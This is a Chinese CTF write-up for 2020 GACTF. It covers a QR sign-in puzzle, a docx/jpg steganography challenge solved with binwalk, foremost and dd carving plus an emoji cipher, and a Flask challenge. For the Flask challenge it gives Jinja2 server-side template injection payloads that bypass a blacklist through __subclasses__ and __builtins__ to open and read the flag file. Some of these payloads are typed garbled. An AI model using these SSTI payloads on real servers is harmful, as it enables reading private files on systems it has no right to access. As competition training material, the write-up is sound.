2020GACTF部分wp
阅读原文时间:2023年07月08日阅读:1

GACTF

签到

给了二维码图 切割再拼上就行

crymisc

给了一个crymisc.docx

无法打开 用file看一下

把后缀名改成zip然后解压

这里奇怪的是用winzip解压会提示3.jpg受密码保护,用360压缩提示文件损坏,用7z命令解压图片为0字节

用mac自带解压能直接解压出来

用binwalk分析3.jpg

有zip的结尾,猜测应该里面有压缩包,尝试修复

找到jpg文件结尾FF D9 后面有一串看起来是base64编码

解码得到压缩包的密码

然后在字符串后面添加zip的文件头504B0304

再分离 用dd foremost或者binwalk都可以

binwalk -e 3.jpg
foremost -T 3.jpg
dd if=3.jpg bs=1 skip=12718 of=new.zip

得到新的压缩包 用刚刚的密码解压

得到一串emoji,找了很多在线解密网站结果都不对,然后发现了以前题的writeup

https://github.com/pavelvodrazka/ctf-writeups/tree/master/hackyeaster2018/challenges/egg17

这里给了一个暴力破解codeemoji的js 自己搭起来然后解密

ezflask

# -*- coding: utf-8 -*-
from flask import Flask, request
import requests
from waf import *
import time
app = Flask(__name__)
@app.route('/ctfhint')
def ctf():
    hint =xxxx
    # hints trick = xxxx
    # trick
    return trick 

@app.route('/')
def index():
# app.txt 

@app.route('/eval', methods=["POST"])
def my_eval():
# post eval 

@app.route(xxxxxx, methods=["POST"])
# Secret
def admin():
# admin requests 

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=8080)

simple flask

绕ssti黑名单

ban了

'
{{1+1}}
....

用dirmap还扫出了console开启了debug模式

猜测是ssti读文件算pin码

经过fuzz后发现mro等一系列被禁

base___bases_[0]没有被禁,访问{{""._class_._base_.__subclasses()}}

 SECRET = "JpofUPvEjXWbz21ypHXW";

调用os eval system皆被禁,只存在open可以读文件

{{"".class__._base_._subclasses_()[179]._init_._globals_.__builtins"open".read()}}

{{[].__class__.__base__.__subclasses__()[127].__init__.__globals__.__builtins__["open"]("fla".join("/g")).read()}}

发现可以直接读flag文件了 应该是非预期吧